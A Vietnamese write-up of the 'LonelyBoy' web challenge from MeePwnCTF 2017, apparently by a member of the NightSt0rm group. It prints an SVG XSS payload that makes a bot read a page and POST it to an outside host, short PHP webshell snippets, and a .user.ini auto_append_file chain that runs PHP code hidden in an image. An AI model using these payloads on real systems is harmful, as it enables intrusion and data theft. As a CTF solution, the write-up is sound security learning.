[Writeup] LonelyBoy — MeePwnCTF

Thu Nguyen
Jul 17, 2017 · 6 min read

MeePwnCTF là một ctf hay với rất nhiều challenge. Ở CTF có một task về web mà chỉ 1 đội Hongkong giải được. Sau khi CTF kết thúc, một thanh niên đẹp trai (từ đây gọi là Anh Đẹp Trai — ADT) quyết định tiếp tục làm tiếp những gì còn dang giở của một thanh niên đẹp trai khác.

Sau khi reg nick, điểm qua các chức năng chính của site:

  • Chức năng upload cho phép upload ảnh dưới phần mở rộng sau: JPG, JPEG, SVG, PNG & GIF.

Thử một lượt các chức năng, ADT chú ý đến thông tin trả về khi gửi 1 link cho TSU (cái tên nghe rất quen, của 1 người xa lạ):

Khi thấy bot đọc nội dung của mình gửi cho bot, có vẻ như là hướng XSS bot. Kết hợp với việc khi upload SVG, ta có thể để nội dung bất kỳ, xây dựng payload để thử:

<?xml version="1.0" standalone="no"?>
<!DOCTYPE ernw [ <!ENTITY xxe "a"> ]>
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>
<script type="text/javascript">
function postXMLDoc(theURL,ct)
{
if (window.XMLHttpRequest)
{// code for IE7+, Firefox, Chrome, Opera, Safari, SeaMonkey
xmlhttp=new XMLHttpRequest();
}
else
{// code for IE6, IE5
xmlhttp=new ActiveXObject("Microsoft.XMLHTTP");
}
xmlhttp.onreadystatechange=function()
{

a = xmlhttp.responseText;

}
xmlhttp.open("POST", theURL, false);
xmlhttp.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');
xmlhttp.send('a='+btoa(ct));
}

function loadXMLDoc(theURL)
{
if (window.XMLHttpRequest)
{// code for IE7+, Firefox, Chrome, Opera, Safari, SeaMonkey
xmlhttp=new XMLHttpRequest();
}
else
{// code for IE6, IE5
xmlhttp=new ActiveXObject("Microsoft.XMLHTTP");
}
xmlhttp.onreadystatechange=function()
{

a = xmlhttp.responseText;

}
xmlhttp.open("GET", theURL, false);
xmlhttp.send();
}
loadXMLDoc('http://188.166.242.140/home.php');
postXMLDoc('https://nightst0rm.net/meepwn', a);
</script>
</svg>

Mình lược bớt đoạn lấy cookie của bot thì đoạn này không thành công. Chuyển thẳng qua view site từ bot luôn. Chú ý nội dung file home.php khi gửi từ bot có chứa thêm 1 form:

<form action="home.php" method=GET>
<label for="email">Make friend, please input email!</label><br>
<input type="text" id="email" name="email_address_of_tsu_friend"><br>
<input type="submit" value="Submit">
</form>

Thử cho bot thực hiện submit form:

loadXMLDoc('http://188.166.242.140/home.php?email_address_of_tsu_friend=nightst0rm@gmail.com');

Quay lại với nick của bạn, sẽ có 1 form upload khác hiện lên:

Với form này, có 1 vài filter được áp dụng:

  • Nội dung file upload lên không quá 20 byte

Sau khi thử fuzzing để tìm cách bypass extension, … các kiểu mà mình không thấy khả thi chút nào ngoài việc tìm ra folder được tạo sẵn 1 file index.php để chống việc liệt kê thư mục. Bất chợt chú ý đến header của server trả về:

Server apache, nhưng lại không xài php builtin của apache mà lại proxy qua php-fpm. Tìm hiểu về php-fpm, có một thông tin khá hay ho:

You can use the syntax from the INI file example for CGI/FastCGI in a .user.ini file. This is similar to a .htaccess file for Apache but is unique to PHP-FPM. The directory that PHP is executed in is scanned for a .user.ini file

Tìm hiểu thêm, có 2 config có ích trong trường hợp sử dụng với .user.ini là auto_append_fileauto_prepend_file.

auto_prepend_file string
Specifies the name of a file that is automatically parsed before the main file. The file is included as if it was called with the require function, so include_path is used.
auto_append_file string
Specifies the name of a file that is automatically parsed after the main file. The file is included as if it was called with the require function, so include_path is used.

Ý tưởng để RCE lúc nãy sẽ là:

  • Upload file .user.ini với nội dung auto_append_file=xx

Tuy nhiên vấn đề là file xx phải bypass được việc filter các PHP method và không được quá 20 ký tự để RCE thành công. Một cách có thể sử dụng là:

<?=$_GET[1]('/');

Trong đó giá trị argument trong nháy đơn ‘’ ta sẽ thay đổi tùy vào tên method gửi từ request (và không được quá 4 ký tự). Ví dụ payload:

<?=$_GET[1]('ls');

Truy cập link /index.php?1=system

Sau một lúc thì tìm được folder chứa Flag :

<?=$_GET[1]('/')[6];

Tuy nhiên đến đây muốn truy cập và đọc được thông tin flag trong thư mục goodjobnowgetyoursfl4g thì webshell code của file xxx sẽ phải quá 20 ký tự. Chắc tác giả cũng đã tính toán đến các case exploit nên mới có giá trị 20 char, bởi nếu là 21 char thì việc exploit sẽ dễ dàng hơn nhiều. ADT quyết định tìm hướng đi khác, kéo lại chút gì đó của NightSt0rm.

Một hướng mà mình cũng đã thử là:

  • Upload file .user.ini với nội dung auto_append_file=xx

Hướng này nhằm mục đích include nội dung của file .jpg và nếu thành công, đoạn phpcode được chèn vào ảnh sẽ thực thi. Tuy nhiên kết quả không thành công — vẫn chưa biết nguyên nhân tại sao. :(.

Trong danh sách các PHP func bị chặn, có func popen là không bị chặn, tuy nhiên việc exploit cũng không thành do hạn chế ký tự. Và lại không thành công. ADT lại phải đi họp giao ban và làm thầu T.T

— — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — -

Hôm nay sau khi giải kết thúc, trằn trọc băn khoăn quyết định làm nốt. Sau khi 1 thanh niên siêu đẹp trai (vẫn là ADT) ngâm cứu lại PHP func, cuối cùng thì lời giải cũng đã rõ:

B1: Upload file .user.ini với nội dung auto_append_file=xx

B2: Từ form upload 1, upload một file ảnh 2.jpg với nội dung được chèn phpcode vào comment byte (có thể sử dụng dụng công cụ exif pilot để thực hiện chèn shell vào ảnh)

B3: Upload file xx với nội dung là php code <?=copy(“2.jpg”,”2"); , tuy nhiên thế này lại quá 20 ký tự. Thanh niên đẹp trai lại tìm hiểu về cast, tự động ép kiểu trong PHP từ int sang string, từ đó ta có phpcode của file xx này là <?=copy(“2.jpg”,2);

B4: Truy cập file index.php (như bước kể trên) để lệnh copy được thực thi. Sau quá trình này trong thư mục sẽ có thêm file với tên file là 2.

B5: Upload lại file .user.ini, với nội dung auto_append_file=2

B6: Truy cập lại trang index.php một lần nữa. Lúc nãy Index.php sẽ append thêm nội dung file 2, nội dung file này là file ảnh và có chèn thêm đoạn phpcode

Cuối cùng ta đã có webshell để đọc flag trong thư mục goodjobnowgetyoursfl4g

Flag là

MeePwnCTF{_A_B34ut1ful_ExPl01t_1s_4n_ART___}

Cuối cùng thì thắc mắc cũng đã giải quyết được :(((

Cảm ơn tác giả — meepwn team đã có 1 task hay hại não cũng như 1 giải CTF chất lượng :)

nightst0rm

NightSt0rm is a group of IT security researchers, enthusiasts , who share the same interests. We are focusing on Hacking, Cryptography, Malware analyst & Computer forensics.

Thu Nguyen

Written by

nightst0rm

NightSt0rm is a group of IT security researchers, enthusiasts , who share the same interests. We are focusing on Hacking, Cryptography, Malware analyst & Computer forensics.